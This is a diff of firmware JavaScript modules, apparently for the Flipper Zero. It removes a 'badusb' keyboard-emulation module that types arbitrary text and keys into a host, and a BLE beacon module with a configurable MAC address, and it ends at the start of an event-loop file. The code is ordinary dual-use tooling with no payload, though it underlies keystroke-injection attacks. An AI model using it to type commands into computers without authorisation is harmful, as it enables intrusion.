#define JS_VALUE_SIMPLE_W_DEFAULT(t, name, val) \
{.type = (t) | JsValueTypePermitNull, .default_value.name = (val)}
#define JS_VALUE_ARGS(args) \
{ \
.n_children = COUNT_OF(args), \
.arguments = args, \
}
typedef enum {
JsValueParseFlagNone = 0,
JsValueParseFlagReturnOnError =
(1
<< 0), //<! Sets mjs error string to a description of the parsing error and returns from the JS function
} JsValueParseFlag;
typedef enum {
JsValueParseStatusOk, //<! Parsing completed successfully
JsValueParseStatusJsError, //<! Parsing failed due to incorrect JS input
} JsValueParseStatus;
typedef enum {
JsValueParseSourceValue,
JsValueParseSourceArguments,
} JsValueParseSource;
typedef struct {
JsValueParseSource source;
union {
const JsValueDeclaration* value_decl;
const JsValueArguments* argument_decl;
};
} JsValueParseDeclaration;
#define JS_VALUE_PARSE_SOURCE_VALUE(declaration) \
((JsValueParseDeclaration){.source = JsValueParseSourceValue, .value_decl = declaration})
#define JS_VALUE_PARSE_SOURCE_ARGS(declaration) \
((JsValueParseDeclaration){ \
.source = JsValueParseSourceArguments, .argument_decl = declaration})
/**
* @brief Determines the size of the buffer array of `mjs_val_t`s that needs to
* be passed to `js_value_parse`.
*/
size_t js_value_buffer_size(const JsValueParseDeclaration declaration);
/**
* @brief Converts a JS value into a series of C values.
*
* @param[in] mjs mJS instance pointer
* @param[in] declaration Declaration for the input value. Chooses where the
* values are to be fetched from (an `mjs_val_t` or
* function arguments)
* @param[in] flags See the corresponding enum.
* @param[out] buffer Temporary buffer for values that need to live
* longer than the function call. To determine the
* size of the buffer, use `js_value_buffer_size`.
* Values parsed by this function will become invalid
* when this buffer goes out of scope.
* @param[in] buf_size Number of entries in the temporary buffer (i.e.
* `COUNT_OF`, not `sizeof`).
* @param[in] source Source JS value that needs to be converted. May be
* NULL if `declaration.source` is
* `JsValueParseSourceArguments`.
* @param[in] n_c_vals Number of output C values
* @param[out] ... Pointers to output C values. The order in which
* these values are populated corresponds to the order
* in which the values are defined in the declaration.
*
* @returns Parsing status
*/
JsValueParseStatus js_value_parse(
struct mjs* mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...);
#define JS_VALUE_PARSE(mjs, declaration, flags, status_ptr, value_ptr, ...) \
void* _args[] = {__VA_ARGS__}; \
size_t _n_args = COUNT_OF(_args); \
size_t _temp_buf_len = js_value_buffer_size(declaration); \
mjs_val_t _temp_buffer[_temp_buf_len]; \
*(status_ptr) = js_value_parse( \
mjs, declaration, flags, _temp_buffer, _temp_buf_len, value_ptr, _n_args, __VA_ARGS__);
#define JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, declaration, ...) \
JsValueParseStatus _status; \
JS_VALUE_PARSE( \
mjs, \
JS_VALUE_PARSE_SOURCE_ARGS(declaration), \
JsValueParseFlagReturnOnError, \
&_status, \
NULL, \
__VA_ARGS__); \
if(_status != JsValueParseStatusOk) return;
#ifdef __cplusplus
}
#endif

View File

@@ -1,529 +0,0 @@
#include <core/common_defines.h>
#include "../js_modules.h"
#include <furi_hal.h>
#define ASCII_TO_KEY(layout, x) (((uint8_t)x < 128) ? (layout[(uint8_t)x]) : HID_KEYBOARD_NONE)
typedef struct {
FuriHalUsbHidConfig* hid_cfg;
uint16_t layout[128];
FuriHalUsbInterface* usb_if_prev;
uint8_t key_hold_cnt;
} JsBadusbInst;
static const struct {
char* name;
uint16_t code;
} key_codes[] = {
{"CTRL", KEY_MOD_LEFT_CTRL},
{"SHIFT", KEY_MOD_LEFT_SHIFT},
{"ALT", KEY_MOD_LEFT_ALT},
{"GUI", KEY_MOD_LEFT_GUI},
{"DOWN", HID_KEYBOARD_DOWN_ARROW},
{"LEFT", HID_KEYBOARD_LEFT_ARROW},
{"RIGHT", HID_KEYBOARD_RIGHT_ARROW},
{"UP", HID_KEYBOARD_UP_ARROW},
{"ENTER", HID_KEYBOARD_RETURN},
{"PAUSE", HID_KEYBOARD_PAUSE},
{"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK},
{"DELETE", HID_KEYBOARD_DELETE_FORWARD},
{"BACKSPACE", HID_KEYBOARD_DELETE},
{"END", HID_KEYBOARD_END},
{"ESC", HID_KEYBOARD_ESCAPE},
{"HOME", HID_KEYBOARD_HOME},
{"INSERT", HID_KEYBOARD_INSERT},
{"NUMLOCK", HID_KEYPAD_NUMLOCK},
{"PAGEUP", HID_KEYBOARD_PAGE_UP},
{"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN},
{"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN},
{"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK},
{"SPACE", HID_KEYBOARD_SPACEBAR},
{"TAB", HID_KEYBOARD_TAB},
{"MENU", HID_KEYBOARD_APPLICATION},
{"F1", HID_KEYBOARD_F1},
{"F2", HID_KEYBOARD_F2},
{"F3", HID_KEYBOARD_F3},
{"F4", HID_KEYBOARD_F4},
{"F5", HID_KEYBOARD_F5},
{"F6", HID_KEYBOARD_F6},
{"F7", HID_KEYBOARD_F7},
{"F8", HID_KEYBOARD_F8},
{"F9", HID_KEYBOARD_F9},
{"F10", HID_KEYBOARD_F10},
{"F11", HID_KEYBOARD_F11},
{"F12", HID_KEYBOARD_F12},
{"F13", HID_KEYBOARD_F13},
{"F14", HID_KEYBOARD_F14},
{"F15", HID_KEYBOARD_F15},
{"F16", HID_KEYBOARD_F16},
{"F17", HID_KEYBOARD_F17},
{"F18", HID_KEYBOARD_F18},
{"F19", HID_KEYBOARD_F19},
{"F20", HID_KEYBOARD_F20},
{"F21", HID_KEYBOARD_F21},
{"F22", HID_KEYBOARD_F22},
{"F23", HID_KEYBOARD_F23},
{"F24", HID_KEYBOARD_F24},
{"NUM0", HID_KEYPAD_0},
{"NUM1", HID_KEYPAD_1},
{"NUM2", HID_KEYPAD_2},
{"NUM3", HID_KEYPAD_3},
{"NUM4", HID_KEYPAD_4},
{"NUM5", HID_KEYPAD_5},
{"NUM6", HID_KEYPAD_6},
{"NUM7", HID_KEYPAD_7},
{"NUM8", HID_KEYPAD_8},
{"NUM9", HID_KEYPAD_9},
};
static void js_badusb_quit_free(JsBadusbInst* badusb) {
if(badusb->usb_if_prev) {
furi_hal_hid_kb_release_all();
furi_check(furi_hal_usb_set_config(badusb->usb_if_prev, NULL));
badusb->usb_if_prev = NULL;
}
if(badusb->hid_cfg) {
free(badusb->hid_cfg);
badusb->hid_cfg = NULL;
}
}
static bool setup_parse_params(
JsBadusbInst* badusb,
struct mjs* mjs,
mjs_val_t arg,
FuriHalUsbHidConfig* hid_cfg) {
if(!mjs_is_object(arg)) {
return false;
}
mjs_val_t vid_obj = mjs_get(mjs, arg, "vid", ~0);
mjs_val_t pid_obj = mjs_get(mjs, arg, "pid", ~0);
mjs_val_t mfr_obj = mjs_get(mjs, arg, "mfrName", ~0);
mjs_val_t prod_obj = mjs_get(mjs, arg, "prodName", ~0);
mjs_val_t layout_obj = mjs_get(mjs, arg, "layoutPath", ~0);
if(mjs_is_number(vid_obj) && mjs_is_number(pid_obj)) {
hid_cfg->vid = mjs_get_int32(mjs, vid_obj);
hid_cfg->pid = mjs_get_int32(mjs, pid_obj);
} else {
return false;
}
if(mjs_is_string(mfr_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &mfr_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
strlcpy(hid_cfg->manuf, str_temp, sizeof(hid_cfg->manuf));
}
if(mjs_is_string(prod_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &prod_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
strlcpy(hid_cfg->product, str_temp, sizeof(hid_cfg->product));
}
if(mjs_is_string(layout_obj)) {
size_t str_len = 0;
const char* str_temp = mjs_get_string(mjs, &layout_obj, &str_len);
if((str_len == 0) || (str_temp == NULL)) {
return false;
}
File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
bool layout_loaded = storage_file_open(file, str_temp, FSAM_READ, FSOM_OPEN_EXISTING) &&
storage_file_read(file, badusb->layout, sizeof(badusb->layout)) ==
sizeof(badusb->layout);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
if(!layout_loaded) {
return false;
}
} else {
memcpy(badusb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(badusb->layout)));
}
return true;
}
static void js_badusb_setup(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is already started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
size_t num_args = mjs_nargs(mjs);
if(num_args == 0) {
// No arguments: start USB HID with default settings
args_correct = true;
} else if(num_args == 1) {
badusb->hid_cfg = malloc(sizeof(FuriHalUsbHidConfig));
// Parse argument object
args_correct = setup_parse_params(badusb, mjs, mjs_arg(mjs, 0), badusb->hid_cfg);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
badusb->usb_if_prev = furi_hal_usb_get_config();
furi_hal_usb_unlock();
furi_hal_usb_set_config(&usb_hid, badusb->hid_cfg);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_quit(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
js_badusb_quit_free(badusb);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_is_connected(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool is_connected = furi_hal_hid_is_connected();
mjs_return(mjs, mjs_mk_boolean(mjs, is_connected));
}
uint16_t get_keycode_by_name(JsBadusbInst* badusb, const char* key_name, size_t name_len) {
if(name_len == 1) { // Single char
return (ASCII_TO_KEY(badusb->layout, key_name[0]));
}
for(size_t i = 0; i < COUNT_OF(key_codes); i++) {
size_t key_cmd_len = strlen(key_codes[i].name);
if(key_cmd_len != name_len) {
continue;
}
if(strncmp(key_name, key_codes[i].name, name_len) == 0) {
return key_codes[i].code;
}
}
return HID_KEYBOARD_NONE;
}
static bool parse_keycode(JsBadusbInst* badusb, struct mjs* mjs, size_t nargs, uint16_t* keycode) {
uint16_t key_tmp = 0;
for(size_t i = 0; i < nargs; i++) {
mjs_val_t arg = mjs_arg(mjs, i);
if(mjs_is_string(arg)) {
size_t name_len = 0;
const char* key_name = mjs_get_string(mjs, &arg, &name_len);
if((key_name == NULL) || (name_len == 0)) {
// String error
return false;
}
uint16_t str_key = get_keycode_by_name(badusb, key_name, name_len);
if(str_key == HID_KEYBOARD_NONE) {
// Unknown key code
return false;
}
if((str_key & 0xFF) && (key_tmp & 0xFF)) {
// Main key is already defined
return false;
}
key_tmp |= str_key;
} else if(mjs_is_number(arg)) {
uint32_t keycode_number = (uint32_t)mjs_get_int32(mjs, arg);
if(((key_tmp & 0xFF) != 0) || (keycode_number > 0xFF)) {
return false;
}
key_tmp |= keycode_number & 0xFF;
} else {
return false;
}
}
*keycode = key_tmp;
return true;
}
static void js_badusb_press(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args > 0) {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_hold(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args > 0) {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if(keycode & 0xFF) {
badusb->key_hold_cnt++;
if(badusb->key_hold_cnt > (HID_KB_MAX_KEYS - 1)) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "Too many keys are hold");
furi_hal_hid_kb_release_all();
mjs_return(mjs, MJS_UNDEFINED);
return;
}
}
furi_hal_hid_kb_press(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_release(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
uint16_t keycode = HID_KEYBOARD_NONE;
size_t num_args = mjs_nargs(mjs);
if(num_args == 0) {
furi_hal_hid_kb_release_all();
badusb->key_hold_cnt = 0;
mjs_return(mjs, MJS_UNDEFINED);
return;
} else {
args_correct = parse_keycode(badusb, mjs, num_args, &keycode);
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if((keycode & 0xFF) && (badusb->key_hold_cnt > 0)) {
badusb->key_hold_cnt--;
}
furi_hal_hid_kb_release(keycode);
mjs_return(mjs, MJS_UNDEFINED);
}
// Make sure NUMLOCK is enabled for altchar
static void ducky_numlock_on() {
if((furi_hal_hid_get_led_state() & HID_KB_LED_NUM) == 0) {
furi_hal_hid_kb_press(HID_KEYBOARD_LOCK_NUM_LOCK);
furi_hal_hid_kb_release(HID_KEYBOARD_LOCK_NUM_LOCK);
}
}
// Simulate pressing a character using ALT+Numpad ASCII code
static void ducky_altchar(JsBadusbInst* badusb, const char* ascii_code) {
// Hold the ALT key
furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT);
// Press the corresponding numpad key for each digit of the ASCII code
for(size_t i = 0; ascii_code[i] != '\0'; i++) {
char digitChar[5] = {'N', 'U', 'M', ascii_code[i], '\0'}; // Construct the numpad key name
uint16_t numpad_keycode = get_keycode_by_name(badusb, digitChar, strlen(digitChar));
if(numpad_keycode == HID_KEYBOARD_NONE) {
continue; // Skip if keycode not found
}
furi_hal_hid_kb_press(numpad_keycode);
furi_hal_hid_kb_release(numpad_keycode);
}
// Release the ALT key
furi_hal_hid_kb_release(KEY_MOD_LEFT_ALT);
}
static void badusb_print(struct mjs* mjs, bool ln, bool alt) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBadusbInst* badusb = mjs_get_ptr(mjs, obj_inst);
furi_assert(badusb);
if(badusb->usb_if_prev == NULL) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "HID is not started");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
bool args_correct = false;
const char* text_str = NULL;
size_t text_len = 0;
uint32_t delay_val = 0;
do {
mjs_val_t obj_string = MJS_UNDEFINED;
size_t num_args = mjs_nargs(mjs);
if(num_args == 1) {
obj_string = mjs_arg(mjs, 0);
} else if(num_args == 2) {
obj_string = mjs_arg(mjs, 0);
mjs_val_t obj_delay = mjs_arg(mjs, 1);
if(!mjs_is_number(obj_delay)) {
break;
}
delay_val = (uint32_t)mjs_get_int32(mjs, obj_delay);
if(delay_val > 60000) {
break;
}
}
if(!mjs_is_string(obj_string)) {
break;
}
text_str = mjs_get_string(mjs, &obj_string, &text_len);
if((text_str == NULL) || (text_len == 0)) {
break;
}
args_correct = true;
} while(0);
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
if(alt) {
ducky_numlock_on();
}
for(size_t i = 0; i < text_len; i++) {
if(alt) {
// Convert character to ascii numeric value
char ascii_str[4];
snprintf(ascii_str, sizeof(ascii_str), "%u", (uint8_t)text_str[i]);
ducky_altchar(badusb, ascii_str);
} else {
uint16_t keycode = ASCII_TO_KEY(badusb->layout, text_str[i]);
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
}
if(delay_val > 0) {
bool need_exit = js_delay_with_flags(mjs, delay_val);
if(need_exit) {
mjs_return(mjs, MJS_UNDEFINED);
return;
}
}
}
if(ln) {
furi_hal_hid_kb_press(HID_KEYBOARD_RETURN);
furi_hal_hid_kb_release(HID_KEYBOARD_RETURN);
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_badusb_print(struct mjs* mjs) {
badusb_print(mjs, false, false);
}
static void js_badusb_println(struct mjs* mjs) {
badusb_print(mjs, true, false);
}
static void js_badusb_alt_print(struct mjs* mjs) {
badusb_print(mjs, false, true);
}
static void js_badusb_alt_println(struct mjs* mjs) {
badusb_print(mjs, true, true);
}
static void* js_badusb_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
JsBadusbInst* badusb = malloc(sizeof(JsBadusbInst));
mjs_val_t badusb_obj = mjs_mk_object(mjs);
mjs_set(mjs, badusb_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, badusb));
mjs_set(mjs, badusb_obj, "setup", ~0, MJS_MK_FN(js_badusb_setup));
mjs_set(mjs, badusb_obj, "quit", ~0, MJS_MK_FN(js_badusb_quit));
mjs_set(mjs, badusb_obj, "isConnected", ~0, MJS_MK_FN(js_badusb_is_connected));
mjs_set(mjs, badusb_obj, "press", ~0, MJS_MK_FN(js_badusb_press));
mjs_set(mjs, badusb_obj, "hold", ~0, MJS_MK_FN(js_badusb_hold));
mjs_set(mjs, badusb_obj, "release", ~0, MJS_MK_FN(js_badusb_release));
mjs_set(mjs, badusb_obj, "print", ~0, MJS_MK_FN(js_badusb_print));
mjs_set(mjs, badusb_obj, "println", ~0, MJS_MK_FN(js_badusb_println));
mjs_set(mjs, badusb_obj, "altPrint", ~0, MJS_MK_FN(js_badusb_alt_print));
mjs_set(mjs, badusb_obj, "altPrintln", ~0, MJS_MK_FN(js_badusb_alt_println));
*object = badusb_obj;
return badusb;
}
static void js_badusb_destroy(void* inst) {
JsBadusbInst* badusb = inst;
js_badusb_quit_free(badusb);
free(badusb);
}
static const JsModuleDescriptor js_badusb_desc = {
"badusb",
js_badusb_create,
js_badusb_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_badusb_desc,
};
const FlipperAppPluginDescriptor* js_badusb_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,246 +0,0 @@
#include "../js_modules.h"
#include <furi_hal_bt.h>
#include <extra_beacon.h>
typedef struct {
bool saved_prev_cfg;
bool prev_cfg_set;
GapExtraBeaconConfig prev_cfg;
bool saved_prev_data;
uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
uint8_t prev_data_len;
bool saved_prev_active;
bool prev_active;
bool keep_alive;
} JsBlebeaconInst;
static JsBlebeaconInst* get_this_ctx(struct mjs* mjs) {
mjs_val_t obj_inst = mjs_get(mjs, mjs_get_this(mjs), INST_PROP_NAME, ~0);
JsBlebeaconInst* blebeacon = mjs_get_ptr(mjs, obj_inst);
furi_assert(blebeacon);
return blebeacon;
}
static void ret_bad_args(struct mjs* mjs, const char* error) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "%s", error);
mjs_return(mjs, MJS_UNDEFINED);
}
static void ret_int_err(struct mjs* mjs, const char* error) {
mjs_prepend_errorf(mjs, MJS_INTERNAL_ERROR, "%s", error);
mjs_return(mjs, MJS_UNDEFINED);
}
static bool check_arg_count(struct mjs* mjs, size_t count) {
size_t num_args = mjs_nargs(mjs);
if(num_args != count) {
ret_bad_args(mjs, "Wrong argument count");
return false;
}
return true;
}
static void js_blebeacon_is_active(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
UNUSED(blebeacon);
mjs_return(mjs, mjs_mk_boolean(mjs, furi_hal_bt_extra_beacon_is_active()));
}
static void js_blebeacon_set_config(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(mjs_nargs(mjs) < 1 || mjs_nargs(mjs) > 4) {
ret_bad_args(mjs, "Wrong argument count");
return;
}
char* mac = NULL;
size_t mac_len = 0;
mjs_val_t mac_arg = mjs_arg(mjs, 0);
if(mjs_is_typed_array(mac_arg)) {
if(mjs_is_data_view(mac_arg)) {
mac_arg = mjs_dataview_get_buf(mjs, mac_arg);
}
mac = mjs_array_buf_get_ptr(mjs, mac_arg, &mac_len);
}
if(!mac || mac_len != EXTRA_BEACON_MAC_ADDR_SIZE) {
ret_bad_args(mjs, "Wrong MAC address");
return;
}
uint8_t power = GapAdvPowerLevel_0dBm;
mjs_val_t power_arg = mjs_arg(mjs, 1);
if(mjs_is_number(power_arg)) {
power = mjs_get_int32(mjs, power_arg);
}
power = CLAMP(power, GapAdvPowerLevel_6dBm, GapAdvPowerLevel_Neg40dBm);
uint8_t intv_min = 50;
mjs_val_t intv_min_arg = mjs_arg(mjs, 2);
if(mjs_is_number(intv_min_arg)) {
intv_min = mjs_get_int32(mjs, intv_min_arg);
}
intv_min = MAX(intv_min, 20);
uint8_t intv_max = 150;
mjs_val_t intv_max_arg = mjs_arg(mjs, 3);
if(mjs_is_number(intv_max_arg)) {
intv_max = mjs_get_int32(mjs, intv_max_arg);
}
intv_max = MAX(intv_max, intv_min);
GapExtraBeaconConfig config = {
.min_adv_interval_ms = intv_min,
.max_adv_interval_ms = intv_max,
.adv_channel_map = GapAdvChannelMapAll,
.adv_power_level = power,
.address_type = GapAddressTypePublic,
};
memcpy(config.address, (uint8_t*)mac, sizeof(config.address));
if(!blebeacon->saved_prev_cfg) {
blebeacon->saved_prev_cfg = true;
const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
if(prev_cfg_ptr) {
blebeacon->prev_cfg_set = true;
memcpy(&blebeacon->prev_cfg, prev_cfg_ptr, sizeof(blebeacon->prev_cfg));
} else {
blebeacon->prev_cfg_set = false;
}
}
if(!furi_hal_bt_extra_beacon_set_config(&config)) {
ret_int_err(mjs, "Failed setting beacon config");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_set_data(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 1)) return;
char* data = NULL;
size_t data_len = 0;
mjs_val_t data_arg = mjs_arg(mjs, 0);
if(mjs_is_typed_array(data_arg)) {
if(mjs_is_data_view(data_arg)) {
data_arg = mjs_dataview_get_buf(mjs, data_arg);
}
data = mjs_array_buf_get_ptr(mjs, data_arg, &data_len);
}
if(!data) {
ret_bad_args(mjs, "Data must be a Uint8Array");
return;
}
if(!blebeacon->saved_prev_data) {
blebeacon->saved_prev_data = true;
blebeacon->prev_data_len = furi_hal_bt_extra_beacon_get_data(blebeacon->prev_data);
}
if(!furi_hal_bt_extra_beacon_set_data((uint8_t*)data, data_len)) {
ret_int_err(mjs, "Failed setting beacon data");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_start(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
if(!blebeacon->saved_prev_active) {
blebeacon->saved_prev_active = true;
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
}
if(!furi_hal_bt_extra_beacon_start()) {
ret_int_err(mjs, "Failed starting beacon");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_stop(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 0)) return;
UNUSED(blebeacon);
if(!blebeacon->saved_prev_active) {
blebeacon->saved_prev_active = true;
blebeacon->prev_active = furi_hal_bt_extra_beacon_is_active();
}
if(!furi_hal_bt_extra_beacon_stop()) {
ret_int_err(mjs, "Failed stopping beacon");
return;
}
mjs_return(mjs, MJS_UNDEFINED);
}
static void js_blebeacon_keep_alive(struct mjs* mjs) {
JsBlebeaconInst* blebeacon = get_this_ctx(mjs);
if(!check_arg_count(mjs, 1)) return;
mjs_val_t bool_obj = mjs_arg(mjs, 0);
blebeacon->keep_alive = mjs_get_bool(mjs, bool_obj);
mjs_return(mjs, MJS_UNDEFINED);
}
static void* js_blebeacon_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
JsBlebeaconInst* blebeacon = malloc(sizeof(JsBlebeaconInst));
mjs_val_t blebeacon_obj = mjs_mk_object(mjs);
mjs_set(mjs, blebeacon_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, blebeacon));
mjs_set(mjs, blebeacon_obj, "isActive", ~0, MJS_MK_FN(js_blebeacon_is_active));
mjs_set(mjs, blebeacon_obj, "setConfig", ~0, MJS_MK_FN(js_blebeacon_set_config));
mjs_set(mjs, blebeacon_obj, "setData", ~0, MJS_MK_FN(js_blebeacon_set_data));
mjs_set(mjs, blebeacon_obj, "start", ~0, MJS_MK_FN(js_blebeacon_start));
mjs_set(mjs, blebeacon_obj, "stop", ~0, MJS_MK_FN(js_blebeacon_stop));
mjs_set(mjs, blebeacon_obj, "keepAlive", ~0, MJS_MK_FN(js_blebeacon_keep_alive));
*object = blebeacon_obj;
return blebeacon;
}
static void js_blebeacon_destroy(void* inst) {
JsBlebeaconInst* blebeacon = inst;
if(!blebeacon->keep_alive) {
if(furi_hal_bt_extra_beacon_is_active()) {
furi_check(furi_hal_bt_extra_beacon_stop());
}
if(blebeacon->saved_prev_cfg && blebeacon->prev_cfg_set) {
furi_check(furi_hal_bt_extra_beacon_set_config(&blebeacon->prev_cfg));
}
if(blebeacon->saved_prev_data) {
furi_check(
furi_hal_bt_extra_beacon_set_data(blebeacon->prev_data, blebeacon->prev_data_len));
}
if(blebeacon->prev_active) {
furi_check(furi_hal_bt_extra_beacon_start());
}
}
free(blebeacon);
}
static const JsModuleDescriptor js_blebeacon_desc = {
"blebeacon",
js_blebeacon_create,
js_blebeacon_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_blebeacon_desc,
};
const FlipperAppPluginDescriptor* js_blebeacon_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,458 +0,0 @@
#include "js_event_loop.h"
#include "../../js_modules.h" // IWYU pragma: keep
#include <expansion/expansion.h>
#include <mlib/m-array.h>
/**
* @brief Number of arguments that callbacks receive from this module that they can't modify
*/
#define SYSTEM_ARGS 2
/**
* @brief Context passed to the generic event callback
*/
typedef struct {
FuriEventLoop* event_loop;
JsEventLoopObjectType object_type;
struct mjs* mjs;
mjs_val_t callback;
// NOTE: not using an mlib array because resizing is not needed.
mjs_val_t* arguments;
size_t arity;
JsEventLoopTransformer transformer;
void* transformer_context;
} JsEventLoopCallbackContext;
/**
* @brief Contains data needed to cancel a subscription
*/
typedef struct {
FuriEventLoop* loop;
JsEventLoopObjectType object_type;
FuriEventLoopObject* object;
JsEventLoopCallbackContext* context;
JsEventLoopContract* contract;
void* subscriptions; // SubscriptionArray_t, which we can't reference in this definition
} JsEventLoopSubscription;
ARRAY_DEF(SubscriptionArray, JsEventLoopSubscription*, M_PTR_OPLIST); //-V575
ARRAY_DEF(ContractArray, JsEventLoopContract*, M_PTR_OPLIST); //-V575
/**
* @brief Per-module instance control structure
*/
struct JsEventLoop {
FuriEventLoop* loop;
SubscriptionArray_t subscriptions;
ContractArray_t owned_contracts; //<! Contracts that were produced by this module
};
/**
* @brief Generic event callback, handles all events by calling the JS callbacks
*/
static void js_event_loop_callback_generic(void* param) {
JsEventLoopCallbackContext* context = param;
mjs_val_t result;
mjs_err_t error = mjs_apply(
context->mjs,
&result,
context->callback,
MJS_UNDEFINED,
context->arity,
context->arguments);
bool is_error = strcmp(mjs_strerror(context->mjs, error), "NO_ERROR") != 0;
